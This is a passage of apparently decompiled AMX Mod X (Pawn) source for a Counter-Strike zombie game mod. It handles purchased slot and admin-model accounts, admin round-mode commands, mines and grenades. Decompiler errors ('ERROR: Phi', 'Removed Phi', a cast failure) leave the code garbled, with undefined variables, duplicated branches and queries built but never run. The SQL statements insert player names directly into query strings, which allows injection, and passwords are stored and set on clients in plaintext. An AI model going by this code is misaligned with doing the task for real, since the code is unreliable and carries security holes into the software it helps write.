  1004. if (!strlen(cPassword))
  1005. {
  1006. client_cmd(iPlayer, "messagemode amx_password_for_slot");
  1007. send_say_text(iPlayer, g_iMaxClients + 1, 205924);
  1008. var1 = var3;
  1009. }
  1010. static cData[3];
  1011. static cQuery[128];
  1012. copy(g_cGlobalPassword[iPlayer][0][0], 32, "");
  1013. num_to_str(iPlayer, cData, 3);
  1014. new var3 = g_cName[iPlayer];
  1015. formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", var3[0][0]);
  1016. SQL_ThreadQuery(g_hSQLTuple, "SQLCheckSlot", "", "", 3);
  1017. }
  1018. else
  1019. {
  1020. var1 = var2;
  1021. }
  1022. return 0;
  1023. }
  1024.  
  1025. public SQLRanksCount(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  1026. {
  1027. g_iRanksCount = SQL_NumResults(hQuery);
  1028. return 0;
  1029. }
  1030.  
  1031. public SQLEmpty(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  1032. {
  1033. return 0;
  1034. }
  1035.  
  1036. public SQLCheckSlot(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  1037. {
  1038. static iPlayer;
  1039. iPlayer = str_to_num(cData);
  1040. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought a\4 Slot Account", g_cName[iPlayer][0][0]);
  1041. if (SQL_NumResults(hQuery))
  1042. {
  1043. static cFlags[42];
  1044. SQL_ReadResult(hQuery, 0, 207016, 42);
  1045. format(cFlags, 42, "r%s", cFlags);
  1046. formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer][0][0]);
  1047. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  1048. console_print(iPlayer, "");
  1049. console_print(iPlayer, "****************************");
  1050. console_print(iPlayer, "Done! You have now slot access!");
  1051. console_print(iPlayer, "We hope you enjoy you have fun!");
  1052. console_print(iPlayer, "****************************");
  1053. console_print(iPlayer, "");
  1054. server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
  1055. }
  1056. else
  1057. {
  1058. formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0], "r", g_cInternetProtocolAddress[iPlayer][0][0], g_cGlobalPassword[iPlayer][0][0]);
  1059. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  1060. client_cmd(iPlayer, "setinfo _pw \"%s\"", g_cGlobalPassword[iPlayer][0][0]);
  1061. console_print(iPlayer, "");
  1062. console_print(iPlayer, "****************************");
  1063. console_print(iPlayer, "Done! You have now slot access!");
  1064. console_print(iPlayer, "Be careful, to login with your account,");
  1065. console_print(iPlayer, "You should type in your console");
  1066. console_print(iPlayer, "setinfo _pw \"password\"");
  1067. console_print(iPlayer, "We hope you enjoy you have fun!");
  1068. console_print(iPlayer, "****************************");
  1069. console_print(iPlayer, "");
  1070. server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
  1071. }
  1072. return 0;
  1073. }
  1074.  
  1075. public SQLCheckModel(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  1076. {
  1077. static iPlayer;
  1078. iPlayer = str_to_num(cData);
  1079. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Admin Model Access", g_cName[iPlayer][0][0]);
  1080. if (SQL_NumResults(hQuery))
  1081. {
  1082. static cFlags[42];
  1083. SQL_ReadResult(hQuery, 0, 209520, 42);
  1084. format(cFlags, 42, "m%s", cFlags);
  1085. formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer][0][0]);
  1086. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  1087. console_print(iPlayer, "");
  1088. console_print(iPlayer, "****************************");
  1089. console_print(iPlayer, "Done! You have now admin models access!");
  1090. console_print(iPlayer, "We hope you enjoy you have fun!");
  1091. console_print(iPlayer, "****************************");
  1092. console_print(iPlayer, "");
  1093. server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
  1094. }
  1095. else
  1096. {
  1097. formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0], "m", g_cInternetProtocolAddress[iPlayer][0][0], g_cGlobalPassword[iPlayer][0][0]);
  1098. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  1099. client_cmd(iPlayer, "setinfo _pw \"%s\"", g_cGlobalPassword[iPlayer][0][0]);
  1100. console_print(iPlayer, "");
  1101. console_print(iPlayer, "****************************");
  1102. console_print(iPlayer, "Done! You have now admin models access!");
  1103. console_print(iPlayer, "Be careful, to login with your account,");
  1104. console_print(iPlayer, "You should type in your console");
  1105. console_print(iPlayer, "setinfo _pw \"password\"");
  1106. console_print(iPlayer, "We hope you enjoy you have fun!");
  1107. console_print(iPlayer, "****************************");
  1108. console_print(iPlayer, "");
  1109. server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
  1110. }
  1111. return 0;
  1112. }
  1113.  
  1114. public CommandGetModel(iPlayer)
  1115. {
  1116. new var2 = g_bAdminModel;
  1117. new var1;
  1118. if (var2[iPlayer][0][0])
  1119. {
  1120. static cPassword[32];
  1121. read_argv(1, cPassword, 32);
  1122. if (!strlen(cPassword))
  1123. {
  1124. client_cmd(iPlayer, "messagemode amx_password_for_model");
  1125. send_say_text(iPlayer, g_iMaxClients + 1, 212132);
  1126. var1 = var3;
  1127. }
  1128. static cData[3];
  1129. static cQuery[128];
  1130. copy(g_cGlobalPassword[iPlayer][0][0], 32, "");
  1131. num_to_str(iPlayer, cData, 3);
  1132. new var3 = g_cName[iPlayer];
  1133. formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", var3[0][0]);
  1134. SQL_ThreadQuery(g_hSQLTuple, "SQLCheckModel", "", "", 3);
  1135. }
  1136. else
  1137. {
  1138. var1 = var2;
  1139. }
  1140. return 0;
  1141. }
  1142.  
  1143. public CmdPlantMine(iPlayer)
  1144. {
  1145. !!! Removed Phi
  1146. if (!g_bAlive[iPlayer][0][0] || g_bZombie[iPlayer][0][0] || !g_iTripMines[iPlayer][0][0] || g_iPlantedMines[iPlayer][0][0] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
  1147. {
  1148. send_say_text(iPlayer, g_iMaxClients + 1, 213024);
  1149. return 0;
  1150. }
  1151. if (g_bPlanting[iPlayer][0][0] || g_bRemoving[iPlayer][0][0])
  1152. {
  1153. return 0;
  1154. }
  1155. if (CanPlant(iPlayer))
  1156. {
  1157. g_bPlanting[iPlayer] = 1;
  1158. send_bar_time(iPlayer);
  1159. set_task(1.00, "Func_Plant", iPlayer + 450, "", 0, "", 0);
  1160. }
  1161. return 0;
  1162. }
  1163.  
  1164. public CmdTakeMine(iPlayer)
  1165. {
  1166. new var5 = g_bAlive;
  1167. new var1;
  1168. new var2;
  1169. if (!var5[iPlayer][0][0])
  1170. {
  1171. var1 = var5;
  1172. }
  1173. else
  1174. {
  1175. new var6 = g_bZombie;
  1176. if (var6[iPlayer][0][0])
  1177. {
  1178. var1 = var6;
  1179. }
  1180. new var7 = g_iPlantedMines;
  1181. if (!var7[iPlayer][0][0])
  1182. {
  1183. var1 = var7;
  1184. }
  1185. var2 = var7;
  1186. if (ERROR: Phi)
  1187. {
  1188. send_say_text(iPlayer, g_iMaxClients + 1, 213328);
  1189. return 0;
  1190. }
  1191. new var8 = g_bPlanting;
  1192. new var3;
  1193. new var4;
  1194. if (var8[iPlayer][0][0])
  1195. {
  1196. var3 = var8;
  1197. }
  1198. else
  1199. {
  1200. new var9 = g_bRemoving;
  1201. if (var9[iPlayer][0][0])
  1202. {
  1203. var3 = var9;
  1204. }
  1205. var4 = var9;
  1206. if (ERROR: Phi)
  1207. {
  1208. return 0;
  1209. }
  1210. if (can(iPlayer))
  1211. {
  1212. g_bRemoving[iPlayer] = 1;
  1213. send_bar_time(iPlayer);
  1214. set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
  1215. }
  1216. return 0;
  1217. }
  1218. var4 = var3;
  1219. if (ERROR: Phi)
  1220. {
  1221. return 0;
  1222. }
  1223. if (can(iPlayer))
  1224. {
  1225. g_bRemoving[iPlayer] = 1;
  1226. send_bar_time(iPlayer);
  1227. set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
  1228. }
  1229. return 0;
  1230. }
  1231. var2 = var1;
  1232. if (ERROR: Phi)
  1233. {
  1234. send_say_text(iPlayer, g_iMaxClients + 1, 213328);
  1235. return 0;
  1236. }
  1237. new var8 = g_bPlanting;
  1238. new var3;
  1239. new var4;
  1240. if (var8[iPlayer][0][0])
  1241. {
  1242. var3 = var8;
  1243. }
  1244. else
  1245. {
  1246. new var9 = g_bRemoving;
  1247. if (var9[iPlayer][0][0])
  1248. {
  1249. var3 = var9;
  1250. }
  1251. var4 = var9;
  1252. if (ERROR: Phi)
  1253. {
  1254. return 0;
  1255. }
  1256. if (can(iPlayer))
  1257. {
  1258. g_bRemoving[iPlayer] = 1;
  1259. send_bar_time(iPlayer);
  1260. set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
  1261. }
  1262. return 0;
  1263. }
  1264. var4 = var3;
  1265. if (ERROR: Phi)
  1266. {
  1267. return 0;
  1268. }
  1269. if (can(iPlayer))
  1270. {
  1271. g_bRemoving[iPlayer] = 1;
  1272. send_bar_time(iPlayer);
  1273. set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
  1274. }
  1275. return 0;
  1276. }
  1277.  
  1278. public CmdMode(iPlayer)
  1279. {
  1280. !!! Removed Phi
  1281. if (g_bAdmin[iPlayer][0][0])
  1282. {
  1283. static Float:fGameTime;
  1284. static iAmmoTarget;
  1285. static cAmmo[4];
  1286. static iAmmo;
  1287. static iAlive;
  1288. static iTarget;
  1289. static cTarget[32];
  1290. static cMode[32];
  1291. read_argv(0, cMode, 32);
  1292. read_argv(1, cTarget, 31);
  1293. read_argv(2, cAmmo, 4);
  1294. iAlive = GetAliveCount();
  1295. iAmmo = str_to_num(cAmmo);
  1296. iTarget = GetTarget(iPlayer, cTarget, 2);
  1297. iAmmoTarget = GetTarget(iPlayer, cTarget, 0);
  1298. fGameTime = get_gametime();
  1299. if (fGameTime - g_fRoundStartTime < 2.00/*1073741824*/)
  1300. {
  1301. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 two seconds\1 after round started!");
  1302. console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
  1303. }
  1304. if (equal("", "amx_ammo", 0) && iAmmoTarget && iAmmo && !g_bGaveThisRound[iPlayer][0][0] && g_iRoundsCount > 3)
  1305. {
  1306. static iMaxAmmo;
  1307. iMaxAmmo = 0;
  1308. if (AdminHasFlag(iPlayer, 97))
  1309. {
  1310. iMaxAmmo = 2;
  1311. }
  1312. else
  1313. {
  1314. if (AdminHasFlag(iPlayer, 108))
  1315. {
  1316. iMaxAmmo = 4;
  1317. }
  1318. if (AdminHasFlag(iPlayer, 113))
  1319. {
  1320. iMaxAmmo = 6;
  1321. }
  1322. if (AdminHasFlag(iPlayer, 116))
  1323. {
  1324. iMaxAmmo = 8;
  1325. }
  1326. if (AdminHasFlag(iPlayer, 117))
  1327. {
  1328. iMaxAmmo = 10;
  1329. }
  1330. if (AdminHasFlag(iPlayer, 119))
  1331. {
  1332. iMaxAmmo = 12;
  1333. }
  1334. if (AdminHasFlag(iPlayer, 56))
  1335. {
  1336. iMaxAmmo = 14;
  1337. }
  1338. }
  1339. if (!iMaxAmmo)
  1340. {
  1341. send_say_text(iPlayer, g_iMaxClients + 1, 214572);
  1342. }
  1343. else
  1344. {
  1345. if (!iAmmo)
  1346. {
  1347. send_say_text(iPlayer, g_iMaxClients + 1, 214812);
  1348. }
  1349. if (iAmmo > iMaxAmmo)
  1350. {
  1351. send_say_text(iPlayer, g_iMaxClients + 1, 215068);
  1352. }
  1353. g_bGaveThisRound[iPlayer] = 1;
  1354. new var17 = g_iPacks[iAmmoTarget];
  1355. var17 = iAmmo + var17[0][0];
  1356. }
  1357. }
  1358. if (AdminHasFlag(iPlayer, 104) && equal("", "amx_human", 0) && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
  1359. {
  1360. if (!g_iPlayerType[iTarget][0][0] && !g_bZombie[iTarget][0][0])
  1361. {
  1362. return 0;
  1363. }
  1364. MakeHuman(iTarget, false, false);
  1365. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Human", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1366. log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1367. }
  1368. if (AdminHasFlag(iPlayer, 54) && equal("", "amx_respawn", 0) && iAmmoTarget && !g_bAlive[iAmmoTarget][0][0] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
  1369. {
  1370. do_spawn(iAmmoTarget);
  1371. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 respawn\3 %s", g_cName[iPlayer][0][0], g_cName[iAmmoTarget][0][0]);
  1372. log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer][0][0], g_cName[iAmmoTarget][0][0]);
  1373. }
  1374. if (AdminHasFlag(iPlayer, 122) && equal("", "amx_zombie", 0) && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
  1375. {
  1376. if (g_bZombie[iTarget][0][0] && !g_iPlayerType[iTarget][0][0])
  1377. {
  1378. return 0;
  1379. }
  1380. if (g_bRoundStart)
  1381. {
  1382. StartNormalMode(iTarget);
  1383. remove_task(700, 0);
  1384. g_bRoundStart = 0;
  1385. remove_task(550, 0);
  1386. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Zombie\1 [\4 First Zombie\1 ]", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1387. log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1388. }
  1389. else
  1390. {
  1391. MakeZombie(0, iTarget, false, false, false);
  1392. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Zombie", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1393. log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1394. }
  1395. }
  1396. if (equal("", "amx_sniper", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 120) && g_iRoundsCount > 3)
  1397. {
  1398. StartSniperMode(iTarget);
  1399. remove_task(700, 0);
  1400. g_bRoundStart = 0;
  1401. remove_task(550, 0);
  1402. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Sniper", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1403. log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1404. }
  1405. if (equal("", "amx_survivor", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 118) && g_iRoundsCount > 3)
  1406. {
  1407. StartSurvivorMode(iTarget);
  1408. remove_task(700, 0);
  1409. g_bRoundStart = 0;
  1410. remove_task(550, 0);
  1411. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Survivor", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1412. log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1413. }
  1414. if (equal("", "amx_nemesis", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 110) && g_iRoundsCount > 3)
  1415. {
  1416. StartNemesisMode(iTarget);
  1417. remove_task(700, 0);
  1418. g_bRoundStart = 0;
  1419. remove_task(550, 0);
  1420. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Nemesis", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1421. log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1422. }
  1423. if (equal("", "amx_assassin", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 98) && g_iRoundsCount > 3)
  1424. {
  1425. StartAssassinMode(iTarget);
  1426. remove_task(700, 0);
  1427. g_bRoundStart = 0;
  1428. remove_task(550, 0);
  1429. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 an\4 Assassin", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1430. log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  1431. }
  1432. if (equal("", "amx_swarm", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 115) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
  1433. {
  1434. StartSwarmMode(true);
  1435. remove_task(700, 0);
  1436. g_bRoundStart = 0;
  1437. remove_task(550, 0);
  1438. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Swarm\1 round!", g_cName[iPlayer][0][0]);
  1439. log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer][0][0]);
  1440. }
  1441. if (equal("", "amx_plague", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 112) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
  1442. {
  1443. StartPlagueMode(true);
  1444. remove_task(700, 0);
  1445. g_bRoundStart = 0;
  1446. remove_task(550, 0);
  1447. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Plague\1 round!", g_cName[iPlayer][0][0]);
  1448. log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer][0][0]);
  1449. }
  1450. if (equal("", "amx_armageddon", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 106) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
  1451. {
  1452. StartArmageddonMode(true);
  1453. remove_task(700, 0);
  1454. g_bRoundStart = 0;
  1455. remove_task(550, 0);
  1456. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Armageddon\1 round!", g_cName[iPlayer][0][0]);
  1457. log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer][0][0]);
  1458. }
  1459. if (equal("", "amx_nightmare", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 50) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
  1460. {
  1461. StartNightmareMode(true);
  1462. remove_task(700, 0);
  1463. g_bRoundStart = 0;
  1464. remove_task(550, 0);
  1465. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Nightmare\1 round!", g_cName[iPlayer][0][0]);
  1466. log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer][0][0]);
  1467. }
  1468. if (equal("", "amx_assassins_vs_snipers", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 57) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
  1469. {
  1470. StartAssassinsVsSnipersMode(true);
  1471. remove_task(700, 0);
  1472. g_bRoundStart = 0;
  1473. remove_task(550, 0);
  1474. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Assassins vs Snipers\1 round!", g_cName[iPlayer][0][0]);
  1475. log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer][0][0]);
  1476. }
  1477. if (equal("", "amx_multiple", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 111) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
  1478. {
  1479. StartMultiMode(true);
  1480. remove_task(700, 0);
  1481. g_bRoundStart = 0;
  1482. remove_task(550, 0);
  1483. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Multiple Infections\1 round!", g_cName[iPlayer][0][0]);
  1484. log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer][0][0]);
  1485. }
  1486. }
  1487. return 0;
  1488. }
  1489.  
  1490. public CmdNightVision(iPlayer)
  1491. {
  1492. if (g_bFlash[iPlayer][0][0])
  1493. {
  1494. static Float:fCurrentTime;
  1495. fCurrentTime = get_gametime();
  1496. if (fCurrentTime - g_fLastTime[iPlayer][0][0] < 0.50/*1056964608*/)
  1497. {
  1498. return 1;
  1499. }
  1500. g_fLastTime[iPlayer] = fCurrentTime;
  1501. g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer][0][0];
  1502. remove_task(iPlayer + 350, 0);
  1503. if (g_bFlashEnabled[iPlayer][0][0])
  1504. {
  1505. set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
  1506. }
  1507. }
  1508.  
  1509. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  1510. function "CmdNightVision"
  1511. public CmdNightVision(iPlayer)
  1512.  
  1513. Infection_Explode(iEntity)
  1514. {
  1515. !!! Removed Phi
  1516. send_beam_cylinder(iEntity, 0, "", 0, 200);
  1517. if (g_bRoundEnd)
  1518. {
  1519. return 0;
  1520. }
  1521. if (!var3 < g_iMaxClients + 1 & 0 < var3 || !g_bConnected[i][0][0])
  1522. {
  1523. remove_entity(iEntity);
  1524. return 0;
  1525. }
  1526. j = 1;
  1527. while (g_iMaxClients + 1 > j)
  1528. {
  1529. if (!g_bAlive[j][0][0] || g_bZombie[j][0][0] || range2(j, iEntity) > 250)
  1530. {
  1531. }
  1532. else
  1533. {
  1534. sound(j, "", g_cHumanNadeInfectSounds[random_num(0, 2)][0][0]);
  1535. if (GetHumans() == 1)
  1536. {
  1537. ExecuteHamB(Ham_Killed, j, i, 2);
  1538. }
  1539. else
  1540. {
  1541. MakeZombie(i, j, false, false, false);
  1542. }
  1543. }
  1544. j += 1;
  1545. }
  1546. remove_entity(iEntity);
  1547. return 0;
  1548. }
  1549.  
  1550. Killing_Explode(iEntity)
  1551. {
  1552. !!! Removed Phi
  1553. send_beam_cylinder(iEntity, 127, 0, 255, 200);
  1554. if (g_bRoundEnd)
  1555. {
  1556. return 0;
  1557. }
  1558. if (!var3 < g_iMaxClients + 1 & 0 < var3 || !g_bConnected[i][0][0])
  1559. {
  1560. remove_entity(iEntity);
  1561. return 0;
  1562. }
  1563. j = 1;
  1564. while (g_iMaxClients + 1 > j)
  1565. {
  1566. if (!g_bAlive[j][0][0] || !g_bZombie[j][0][0] || g_iPlayerType[j][0][0] || range2(j, iEntity) > 275)
  1567. {
  1568. }
  1569. else
  1570. {
  1571. ExecuteHamB(Ham_Killed, j, i, 2);
  1572. }
  1573. j += 1;
  1574. }
  1575. remove_entity(iEntity);
  1576. return 0;
  1577. }
  1578.  
  1579. Fire_Explode(iEntity)
  1580. {
  1581. !!! Removed Phi
  1582. send_beam_cylinder(iEntity, 200, "", 0, 200);
  1583. sound(iEntity, "", "ZombieOutstanding/grenade_fire_explode.wav");
  1584. static i;
  1585. i = 1;
  1586. while (g_iMaxClients + 1 > i)
  1587. {
  1588. if (!g_bAlive[i][0][0] || !g_bZombie[i][0][0] || g_bNoDamage[i][0][0] || range2(i, iEntity) > 250)
  1589. {
  1590. }
  1591. else
  1592. {
  1593. send_damage(i, 8);
  1594. if (g_iPlayerType[i][0][0])
  1595. {
  1596. new var2 = g_iBurningDuration[i];
  1597. var2 = var2[0][0] + 8;
  1598. }
  1599. else
  1600. {
  1601. new var3 = g_iBurningDuration[i];
  1602. var3 = var3[0][0] + 40;
  1603. }
  1604. if (!task_exists(i + 200, 0))
  1605. {
  1606. set_task(0.20, "TaskBurn", i + 200, "", 0, "b", 0);
  1607. }
  1608. }
  1609. i += 1;
  1610. }
  1611. remove_entity(iEntity);
  1612. return 0;
  1613. }
  1614.  
  1615. public TaskBurn(iTask)
  1616. {
  1617. !!! Removed Phi
  1618. if (g_iBurningDuration[iPlayer][0][0] < 1 || iFlags & 16 || g_bNoDamage[iPlayer][0][0])
  1619. {
  1620. send_smoke(iPlayer);
  1621. remove_task(iTask, 0);
  1622. return 0;
  1623. }
  1624. if (!g_iPlayerType[iPlayer][0][0] && !random_num(0, 16))
  1625. {
  1626. sound(iPlayer, "", g_cZombieBurnSounds[random_num(0, 4)][0][0]);
  1627. }
  1628. if (!g_iPlayerType[iPlayer][0][0])
  1629. {
  1630. static Float:fVelocity[3];
  1631. get_velocity(iPlayer, fVelocity);
  1632. xs_vec_mul_scalar(fVelocity, 0.42, fVelocity);
  1633. set_velocity(iPlayer, fVelocity);
  1634. }
  1635. static iHealth;
  1636. iHealth = get_health(iPlayer);
  1637. if (0 < iHealth + -6)
  1638. {
  1639. set_health(iPlayer, iHealth + -6);
  1640. }
  1641. send_flame(iPlayer);
  1642. g_iBurningDuration[iPlayer]--;
  1643. return 0;
  1644. }
  1645.  
  1646. Freeze_Explode(iEntity)
  1647. {
  1648. !!! Removed Phi
  1649. send_beam_cylinder(iEntity, 0, 100, 200, 200);
  1650. sound(iEntity, "", "ZombieOutstanding/grenade_frost_explode.wav");
  1651. static i;
  1652. i = 1;
  1653. while (g_iMaxClients + 1 > i)
  1654. {
  1655. if (!g_bAlive[i][0][0] || !g_bZombie[i][0][0] || g_bNoDamage[i][0][0] || g_bFrozen[i][0][0] || range2(i, iEntity) > 250)
  1656. {
  1657. }
  1658. else
  1659. {
  1660. send_damage(i, g_bTryder);
  1661. if (!g_iPlayerType[i][0][0])
  1662. {
  1663. g_bFrozen[i] = 1;
  1664. ExecuteHamB(Ham_Item_PreFrame, i);
  1665. set_frozen(i, "");
  1666. sound(i, 4, "ZombieOutstanding/grenade_frost_freeze.wav");
  1667. set_glow(i, 19, g_cZombieInfectSounds, 0, 160, "");
  1668. set_task(3.00, "TaskUnfreeze", i, "", 0, "", 0);
  1669. }
  1670. else
  1671. {
  1672. sound(i, 4, "ZombieOutstanding/grenade_frost_break.wav");
  1673. send_break_glass(i);
  1674. }
  1675. }
  1676. i += 1;
  1677. }
  1678. remove_entity(iEntity);
  1679. return 0;
  1680. }
  1681.  
  1682. public TaskUnfreeze(i)
  1683. {
  1684. !!! Removed Phi
  1685. if (g_bConnected[i][0][0] && !g_bRoundStart)
  1686. {
  1687. g_bFrozen[i] = 0;
  1688. set_frozen(i, 0);
  1689. ExecuteHamB(Ham_Item_PreFrame, i);
  1690. sound(i, 4, "ZombieOutstanding/grenade_frost_break.wav");
  1691. send_break_glass(i);
  1692. if (!g_iPlayerType[i][0][0] & 1)
  1693. {
  1694. remove_glow(i);
  1695. }
  1696. }
  1697. return 0;
  1698. }
  1699.  
  1700. Explosion_Explode(iEntity)
  1701. {
  1702. !!! Removed Phi
  1703. if (g_iMaxClients + 1 > var5 & 0 < var5 && g_bConnected[iOwner][0][0])
  1704. {
  1705. i = 1;
  1706. while (g_iMaxClients + 1 > i)
  1707. {
  1708. if (!g_bAlive[i][0][0] || !g_bZombie[i][0][0])
  1709. {
  1710. }
  1711. else
  1712. {
  1713. iRange = range2(i, iEntity);
  1714. if (iRange < 260)
  1715. {
  1716. iDamage = 600 - iRange;
  1717. iHealth = get_health(i);
  1718. static Float:fVelocity[3];
  1719. get_velocity(i, fVelocity);
  1720. xs_vec_mul_scalar(fVelocity, 0.30, fVelocity);
  1721. set_velocity(i, fVelocity);
  1722. send_screen_shake(i);
  1723. send_screen_fade(i);
  1724. client_cmd(i, "spk fvox/flatline");
  1725. if (0 < iHealth - iDamage)
  1726. {
  1727. ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, float(iDamage), 64);
  1728. }
  1729. else
  1730. {
  1731. ExecuteHamB(Ham_Killed, i, iOwner, 2);
  1732. }
  1733. if (g_iPlayerType[i][0][0])
  1734. {
  1735. new var3;
  1736. if (g_bDoubleDamage[iOwner][0][0])
  1737. {
  1738. var3 = float(iDamage) * 2.00;
  1739. }
  1740. else
  1741. {
  1742. var3 = float(iDamage);
  1743. }
  1744. PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var3);
  1745. }
  1746. new var4;
  1747. if (g_bDoubleDamage[iOwner][0][0])
  1748. {
  1749. var4 = float(iDamage) * 1.50;
  1750. }
  1751. else
  1752. {
  1753. var4 = float(iDamage) * 0.75;
  1754. }
  1755. PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var4);
  1756. }
  1757. }
  1758. i += 1;
  1759. }
  1760. }
  1761. remove_entity(iEntity);
  1762. return 0;
  1763. }
  1764.  
  1765. public CmdDrop(iPlayer)
  1766. {
  1767. !!! Removed Phi
  1768. if (g_bConnected[iPlayer][0][0])
  1769. {
  1770. if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer][0][0] == 29)
  1771. {
  1772. user_drop_jetpack(iPlayer, 0);
  1773. return 1;
  1774. }
  1775. if (g_iPlayerType[iPlayer][0][0])
  1776. {
  1777. return 1;
  1778. }
  1779. }
  1780. return 0;
